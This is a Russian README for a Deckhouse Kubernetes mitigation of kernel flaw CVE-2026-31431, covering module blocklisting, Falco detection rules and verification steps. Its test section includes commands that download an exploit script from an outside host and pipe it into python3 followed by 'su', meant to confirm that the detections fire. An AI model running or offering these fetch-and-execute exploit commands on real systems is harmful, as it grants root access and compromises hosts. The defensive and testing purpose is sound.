
Kubernetes-нативная защита от CVE-2026-31431 с автоматической блокировкой модулей ядра, правилами обнаружения Falco в реальном времени и конфигурацией узлов на основе bashible для кластеров Deckhouse.
Язык: English | Русский
CVE-2026-31431 — уязвимость в модуле ядра Linux algif_aead, который
предоставляет userspace-доступ к крипто-API ядра через семейство сокетов
AF_ALG. Ошибка в обработке AEAD-интерфейса (Authenticated Encryption with
Associated Data) позволяет локальному непривилегированному пользователю
вызвать порчу памяти ядра при отправке специально подготовленных
scatter-gather-списков, что приводит к локальному повышению привилегий или
отказу в обслуживании.
Уязвимая поверхность достижима из любого процесса — включая
непривилегированные контейнеры, — которому разрешён вызов
socket(AF_ALG, SOCK_SEQPACKET, 0) с последующим bind на алгоритм типа
aead. Контейнерные runtime, не использующие seccomp-профиль по умолчанию
или не ограничивающие семейство syscall'ов socket, открывают узлы
кластера для атаки.
Рекомендованная митигация на время до накатывания апстрим-патча через
обновления пакетов ОС — отключить модуль ядра algif_aead на всех узлах
кластера и включить детект попыток эксплуатации на runtime-уровне.
В репозитории всё необходимое для митигации CVE-2026-31431 в кластере под управлением Deckhouse:
ngc-cve-2026-31431.yaml — митигация на узлахNodeGroupConfiguration выполняется через bashible на каждом узле и
делает четыре шага:
AF_ALG и пытается привязать
его к aead/gcm(aes), чтобы определить, доступен ли уязвимый интерфейс
на данном узле./etc/modprobe.d/disable-algif.conf
с директивами install, которые запрещают повторную загрузку
algif_aead (и зонтичного af_alg) — как вручную, так и как
зависимости.rmmod algif_aead, если модуль
загружен. Шаг пропускается, если модуль вкомпилирован в ядро (в этом
случае работают только blocklist + runtime-детект).Идемпотентен: повторный запуск на уже митигированном узле — no-op.
far-cve-2026-31431.yaml — детект на runtimeРесурс FalcoAuditRules добавляет custom-правило Falco, которое создаёт
событие уровня Critical каждый раз, когда процесс открывает сокет
AF_ALG и привязывает его к алгоритму типа aead (характерный паттерн
syscall'ов именно этой атаки). Также добавлено правило уровня Warning,
срабатывающее на попытки загрузить algif_aead через modprobe/insmod:
на митигированном узле это никогда не должно проходить успешно и является
сильным сигналом попытки эксплуатации либо ошибки оператора.
Замечание про редакции:
FalcoAuditRulesобрабатывается модулемruntime-audit-engine, который поставляется только в редакциях Deckhouse Enterprise Edition (EE) и Certified Security Edition (CSE). В Community Edition ресурс не будет обработан; основной митигацией остаётсяNodeGroupConfigurationиз этого же репозитория.
kubectl apply -f ngc-cve-2026-31431.yaml
# Только EE / CSE:
kubectl apply -f far-cve-2026-31431.yaml
Сходимость митигации на всех узлах отслеживайте по статусу объектов
NodeGroup. Bashible раппортует результат каждого шага обратно в
NodeGroup, а Deckhouse агрегирует это в два поля статуса, по которым
удобно опрашивать:
.status.upToDate — число узлов, на которых последний прогон bashible
завершился успешно с текущей конфигурацией. Сходимость достигнута,
когда upToDate == nodes для всех групп..status.conditionSummary.ready — "True", когда группа здорова; при
ошибке любого шага bashible на любом узле перейдёт в "False" с
человекочитаемой причиной в .status.conditionSummary.statusMessage
(именно это и произойдёт на узле, где NodeGroupConfiguration не смог
применить митигацию — шаг верификации завершится с ненулевым кодом).Сводный взгляд на все группы:
kubectl get nodegroups
NAME TYPE READY NODES UPTODATE ... STATUS MESSAGE
master Static 3 3 3
worker Cloud 5 5 5
Скриптовая проверка, которая возвращает 0 только когда все группы сошлись:
kubectl get nodegroups -o json | jq -e '
.items[]
| select((.status.upToDate // 0) != (.status.nodes // 0)
or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "ещё сходимся" || echo "все NodeGroup сошлись"
Если NodeGroup остаётся с conditionSummary.ready == "False",
посмотрите .status.conditionSummary.statusMessage — там будет указан
упавший шаг bashible, включая шаг верификации из этой митигации.
Когда в системные пакеты ОС придёт официальный фикс ядра и обновится ядро на всех узлах, удалите оба ресурса:
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml
Удаление NodeGroupConfiguration не удаляет файл
/etc/modprobe.d/disable-algif.conf автоматически — уберите его вручную,
если хотите снова разрешить загрузку модуля, либо оставьте blocklist на
месте, если ни один workload в кластере не пользуется крипто-API ядра.
Из кластера:
kubectl get nodegroups
Для каждой группы UPTODATE должен равняться NODES, столбец status
message — быть пустым.
На узле (SSH или kubectl debug node/<name> + chroot /host):
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"
Ожидается:
cat показывает четыре строки install / blacklist.lsmod пустой.modprobe -n -v печатает install /bin/false.modprobe возвращает exit=1.Как проверить, что FalcoAuditRules для CVE-2026-31431 реально срабатывает при атаке.
Общие предварительные проверки для обоих сценариев:
runtime-audit-engine здоров на всех узлах:kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
-o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide
Ожидается: DESIRED == READY == AVAILABLE.
kubectl apply -f far-cve-2026-31431.yaml
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s
# Важно: используйте -i, чтобы Python получил скрипт через stdin
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
Очистка:
kubectl delete pod cve-31431-test --ignore-not-found
Предупреждение по безопасности: перед запуском обязательно проверяйте содержимое любого скачиваемого скрипта. Не запускайте удалённые скрипты вслепую в production-среде.
Рекомендуемый вариант (сначала проверка, потом запуск):
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su
Эквивалентный one-liner (только после проверки/согласования):
curl https://copy.fail/exp | python3 && su
После этого проверьте детекты:
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
| Файл | Назначение |
|---|
ngc-cve-2026-31431.yaml | NodeGroupConfiguration, который проверяет уязвимый интерфейс, блокирует загрузку algif_aead, выгружает модуль, если он уже загружен, и проверяет, что фикс применён. Применяется ко всем bundle и nodeGroup. |
far-cve-2026-31431.yaml | FalcoAuditRules, детектирующий попытки эксплуатации уязвимости через сокеты AF_ALG, привязанные к AEAD-алгоритмам. Доступен только в редакциях Deckhouse Enterprise Edition (EE) и Certified Security Edition (CSE), так как модуль runtime-audit-engine поставляется только в этих редакциях. |